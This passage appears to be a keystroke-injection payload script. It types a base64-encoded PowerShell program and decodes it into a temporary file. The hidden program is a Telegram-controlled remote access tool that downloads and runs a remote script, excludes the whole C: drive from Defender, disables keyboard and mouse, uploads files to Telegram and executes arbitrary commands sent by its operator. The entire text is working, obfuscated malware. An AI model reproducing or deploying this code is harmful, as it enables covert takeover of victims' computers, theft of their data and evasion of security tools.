ggLUMgYCR0Zz0nJHRnJzsgaXJtIGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iZWlnZXdvcm0vUG93ZXJzaGVsbC1Ub29scy1hbmQtVG95cy9tYWluL0NvbW1hbmQtYW5kLUNvbnRyb2wvVGVsZWdyYW0tQzItQ2xpZW50LnBzMSB8IGlleGAiLCAwLCBUcnVlDQoiQA0KJHB0aCA9ICJDOlxXaW5kb3dzXFRhc2tzXHNlcnZpY2UudmJzIg0KJHRvYmF0IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRwdGggLUZvcmNlDQomICRwdGgNClNsZWVwIDcNCnJtIC1QYXRoICRwdGgNCldyaXRlLU91dHB1dCAiRG9uZS4iDQp9DQoNCkZ1bmN0aW9uIFRvZ2dsZS1FcnJvcnN7DQpJZigkZ2xvYmFsOmVycm9ybXNnIC1lcSAwKXsNCiAgICAkZ2xvYmFsOmVycm9ybXNnID0gMQ0KICAgICRjb250ZW50cyA9ICIkdGljayBFcnJvciBNZXNzYWdpbmcgT04gJHRpY2siDQogICAgUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCiAgICByZXR1cm4NCiAgICB9DQpJZigkZ2xvYmFsOmVycm9ybXNnIC1lcSAxKXsNCiAgICAkZ2xvYmFsOmVycm9ybXNnID0gMA0KICAgICRjb250ZW50cyA9ICIkY2xvc2VkIEVycm9yIE1lc3NhZ2luZyBPRkYgJGNsb3NlZCINCiAgICBQb3N0LU1lc3NhZ2UgfCBPdXQtTnVsbA0KICAgIHJldHVybg0KICAgIH0NCn0NCg0KRnVuY3Rpb24gTWVzc2FnZShbc3RyaW5nXSRNZXNzYWdlKXsNCiAgICBtc2cuZXhlICogJE1lc3NhZ2UNCiAgICBXcml0ZS1PdXRwdXQgIkRvbmUuIg0KfQ0KDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gQURNSU4gT05MWSBGVU5DVElPTlMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KRnVuY3Rpb24gRGlzYWJsZS1BVnsNCiAgICBBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoIEM6XA0KICAgIFdyaXRlLU91dHB1dCAiRG9uZS4iDQp9DQoNCkZ1bmN0aW9uIERpc2FibGUtSElEew0KICAgICRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkY2xvc2VkIERpc2FibGluZyBISUQgSW5wdXRzLi4iDQogICAgUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCiAgICAkUE5QTWljZSA9IEdldC1XbWlPYmplY3QgV2luMzJfVVNCQ29udHJvbGxlckRldmljZSB8ICV7W3dtaV0kXy5kZXBlbmRlbnR9IHwgP3skXy5wbnBjbGFzcyAtZXEgJ01vdXNlJ30NCiAgICAkUE5QTWljZS5EaXNhYmxlKCkNCiAgICAkUE5QS2V5Ym9hcmQgPSBHZXQtV21pT2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCAle1t3bWldJF8uZGVwZW5kZW50fSB8ID97JF8ucG5wY2xhc3MgLWVxICdLZXlib2FyZCd9DQogICAgJFBOUEtleWJvYXJkLkRpc2FibGUoKQ0KfQ0KDQpGdW5jdGlvbiBFbmFibGUtSElEew0KICAgICRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBFbmFibGluZyBISUQgSW5wdXRzLi4iDQogICAgUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCiAgICAkUE5QTWljZSA9IEdldC1XbWlPYmplY3QgV2luMzJfVVNCQ29udHJvbGxlckRldmljZSB8ICV7W3dtaV0kXy5kZXBlbmRlbnR9IHwgP3skXy5wbnBjbGFzcyAtZXEgJ01vdXNlJ30NCiAgICAkUE5QTWljZS5FbmFibGUoKQ0KICAgICRQTlBLZXlib2FyZCA9IEdldC1XbWlPYmplY3QgV2luMzJfVVNCQ29udHJvbGxlckRldmljZSB8ICV7W3dtaV0kXy5kZXBlbmRlbnR9IHwgP3skXy5wbnBjbGFzcyAtZXEgJ0tleWJvYXJkJ30NCiAgICAkUE5QS2V5Ym9hcmQuRW5hYmxlKCkNCn0NCg0KIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gVEVMRUdSQU0gRlVDVElPTlMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpGdW5jdGlvbiBTaG93QnV0dG9uc3sNCiRtZXNzYWdlaGVhZCA9ICJQcmVzcyBhIEJ1dHRvbiB0byBDb250aW51ZS4uLiINCiRpbmxpbmVLZXlib2FyZEpzb24gPSAneyJpbmxpbmVfa2V5Ym9hcmQiOltbeyJ0ZXh0IjogIkVudGVyIENvbW1hbmRzIiwiY2FsbGJhY2tfZGF0YSI6ICJidXR0b25fY2xpY2tlZCJ9LHsidGV4dCI6ICJPcHRpb25zIiwiY2FsbGJhY2tfZGF0YSI6ICJidXR0b24yX2NsaWNrZWQifV1dfScNCiRwYXJhbWVycyA9IEB7Y2hhdF9pZCA9ICRjaGF0SWQgO3RleHQgPSAkbWVzc2FnZWhlYWQgO3JlcGx5X21hcmt1cCA9ICRpbmxpbmVLZXlib2FyZEpzb259DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiIgLUJvZHkgKCRwYXJhbWVycyB8IENvbnZlcnRUby1Kc29uIC1EZXB0aCAxMCkNCiRraWxsaW50ID0gMA0KJG9mZnNldCA9IDANCndoaWxlICgka2lsbGludCAtZXEgMCkgew0KICAgICR1cGRhdGVzID0gSW52b2tlLVJlc3RNZXRob2QgLVVyaSAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9nZXRVcGRhdGVzP29mZnNldD0kb2Zmc2V0IiAtTWV0aG9kIEdldA0KICAgIGZvcmVhY2ggKCR1cGRhdGUgaW4gJHVwZGF0ZXMucmVzdWx0KSB7DQogICAgICAgICRvZmZzZXQgPSAkdXBkYXRlLnVwZGF0ZV9pZCArIDENCiAgICAgICAgU2xlZXAgMQ0KICAgICAgICBpZiAoJHVwZGF0ZS5jYWxsYmFja19xdWVyeS5kYXRhIC1lcSAiYnV0dG9uX2NsaWNrZWQiKSB7DQogICAgICAgICAgICAka2lsbGludCA9IDENCiAgICAgICAgfQ0KICAgICAgICBpZiAoJHVwZGF0ZS5jYWxsYmFja19xdWVyeS5kYXRhIC1lcSAiYnV0dG9uMl9jbGlja2VkIikgew0KICAgICAgICAgICAgJGtpbGxpbnQgPSAxDQogICAgICAgICAgICBPcHRpb25zDQogICAgICAgIH0NCiAgICB9DQogICAgU2xlZXAgMQ0KfQ0KJGNvbnRlbnRzID0gIiRjb21wICRlbnY6Q09NUFVURVJOQU1FICR0aWNrIFNlc3Npb24gU3RhcnRlZCINClBvc3QtTWVzc2FnZQ0KfQ0KDQpGdW5jdGlvbiBQb3N0LUZpbGV7DQogICAgY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkZmlsZVBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCIgfCBPdXQtTnVsbA0KfQ0KDQpGdW5jdGlvbiBJc0F1dGh7IA0KcGFyYW0oJENoZWNrTWVzc2FnZSkNCiAgICBpZiAoKCRtZXNzYWdlcy5tZXNzYWdlLmRhdGUgLW5lICRMYXN0VW5BdXRoTXNnKSAtYW5kICgkQ2hlY2tNZXNzYWdlLm1lc3NhZ2UudGV4dCAtbGlrZSAkUGFzc1BocmFzZSkgLWFuZCAoJENoZWNrTWVzc2FnZS5tZXNzYWdlLmZyb20uaXNfYm90IC1saWtlICRmYWxzZSkpew0KICAgICAgICAkc2NyaXB0OkFjY2VwdGVkU2Vzc2lvbj0iQXV0aGVudGljYXRlZCINCiAgICAgICAgJGNvbnRlbnRzID0gIiRjb21wICRlbnY6Q09NUFVURVJOQU1FICR0aWNrIFNlc3Npb24gU3RhcnRpbmcuLi4iDQogICAgICAgIFBvc3QtTWVzc2FnZQ0KICAgICAgICBTaG93QnV0dG9ucw0KICAgICAgICByZXR1cm4gJG1lc3NhZ2VzLm1lc3NhZ2UuY2hhdC5pZA0KICAgIH1FbHNle3JldHVybiAwfQ0KfQ0KDQpGdW5jdGlvbiBDbGVhblN0cmluZ3sNCnBhcmFtKCRTdHJlYW0pDQokRml4ZWRSZXN1bHQ9QCgpDQokU3RyZWFtIHwgT3V0LUZpbGUgLUZpbGVQYXRoIChKb2luLVBhdGggJGVudjp0ZW1wIC1DaGlsZFBhdGggInRnYzIudHh0IikgLUZvcmNlDQokUmVhZEFzQXJyYXk9IEdldC1Db250ZW50IC1QYXRoIChKb2luLVBhdGggJGVudjp0ZW1wIC1DaGlsZFBhdGggInRnYzIudHh0IikgfCB3aGVyZSB7JF8ubGVuZ3RoIC1ndCAwfQ0KICAgIGZvcmVhY2ggKCRsaW5lIGluICRSZWFkQXNBcnJheSl7DQogICAgJEFyck9iaj1OZXctT2JqZWN0IHBzb2JqZWN0DQogICAgJEFyck9iaiB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICJMaW5lIiAtVmFsdWUgKCRsaW5lKS50b3N0cmluZygpDQogICAgJEZpeGVkUmVzdWx0ICs9JEFyck9iag0KICAgIH0NCnJldHVybiAkRml4ZWRSZXN1bHQNCn0NCg0KRnVuY3Rpb24gU2VuZE1TR3sNCnBhcmFtKCRNZXNzYWdldGV4dCwkQ2hhdElEKQ0KJEZpeGVkVGV4dD1DbGVhblN0cmluZyAtU3RyZWFtICRNZXNzYWdldGV4dA0KJE10cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICd0ZXh0JyAtVmFsdWUgJEZpeGVkVGV4dC5saW5lIC1Gb3JjZQ0KJEpzb25EYXRhPSgkTXRzIHwgQ29udmVydFRvLUpzb24pDQppcm0gLU1ldGhvZCBQb3N0IC1VcmkgKCRVUkwgKycvc2VuZE1lc3NhZ2UnKSAtQm9keSAkSnNvbkRhdGEgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIg0KJGNhdGNoZXIgPSAkRml4ZWRUZXh0DQp9DQoNCkZ1bmN0aW9uIFJlY2VpdmVNU0d7DQp0cnl7DQogICAgJGluTWVzc2FnZT1pcm0gLU1ldGhvZCBHZXQgLVVyaSAoJFVSTCArJy9nZXRVcGRhdGVzJykgLUVycm9yQWN0aW9uIFN0b3ANCiAgICByZXR1cm4gJGluTWVzc2FnZS5yZXN1bHRbLTFdDQogICAgfQ0KQ2F0Y2h7cmV0dXJuICJUZWxlZ3JhbSBDMiBGYWlsZWQifQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gU1RBUlQgVEhFIFdBSVQgVE8gQ09OTkVDVCBMT09QIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpXaGlsZSAoJHRydWUpew0KU2xlZXAgMg0KJG1lc3NhZ2VzPVJlY2VpdmVNU0cNCiAgICBpZiAoJExhc3RVbkF1dGhNc2cgLWxpa2UgJG51bGwpeyRMYXN0VW5BdXRoTXNnPSRtZXNzYWdlcy5tZXNzYWdlLmRhdGV9DQogICAgaWYgKCEoJEFjY2VwdGVkU2Vzc2lvbikpeyRDaGVja0F1dGhlbnRpY2F0aW9uPUlzQXV0aCAtQ2hlY2tNZXNzYWdlICRtZXNzYWdlc30NCiAgICBFbHNlew0KICAgICAgICBpZiAoKCRDaGVja0F1dGhlbnRpY2F0aW9uIC1uZSAwKSAtYW5kICgkbWVzc2FnZXMubWVzc2FnZS50ZXh0IC1ub3RsaWtlICRQYXNzUGhyYXNlKSAtYW5kICgkbWVzc2FnZXMubWVzc2FnZS5kYXRlIC1uZSAkbGFzdGV4ZWNNZXNzYWdlSUQpKXsNCiAgICAgICAgICAgIHRyeXsNCiAgICAgICAgICAgICAgICAkUmVzdWx0PWllYHgoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCkgLUVycm9yQWN0aW9uIFN0b3ANCiAgICAgICAgICAgICAgICAkUmVzdWx0DQogICAgICAgICAgICAgICAgaWYgKCgkcmVzdWx0Lmxlbmd0aCAtZXEgMCkgLW9yICgkbWVzc2FnZXMubWVzc2FnZS50ZXh0IC1jb250YWlucyAiS2V5Q2FwdHVyZSIpIC1vciAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtY29udGFpbnMgIkV4ZmlsdHJhdGlvbiIpKXt9DQogICAgICAgICAgICAgICAgZWxzZXsNCiAgICAgICAgICAgICAgICBTZW5kTVNHIC1NZXNzYWdldGV4dCAkUmVzdWx0IC1DaGF0SUQgJG1lc3NhZ2VzLm1lc3NhZ2UuY2hhdC5pZA0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9Y2F0Y2ggew0KICAgICAgICAgICAgICAgICAgICBpZigkZ2xvYmFsOmVycm9ybXNnIC1lcSAxKXsNCiAgICAgICAgICAgICAgICAgICAgU2VuZE1TRyAtTWVzc2FnZXRleHQgKCRfLmV4Y2VwdGlvbi5tZXNzYWdlKSAtQ2hhdElEICRtZXNzYWdlcy5tZXNzYWdlLmNoYXQuaWQNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIEZpbmFsbHl7JGxhc3RleGVjTWVzc2FnZUlEPSRtZXNzYWdlcy5tZXNzYWdlLmRhdGV9DQogICAgICAgIH0NCiAgICB9DQp9' ENTER STRING $decodedFile = [System.Convert]::FromBase64String($b64);$decodedText = [System.Text.Encoding]::UTF8.GetString($decodedFile);$decodedText | Out-File -FilePath "$env:temp/a.ps1" -Append ENTER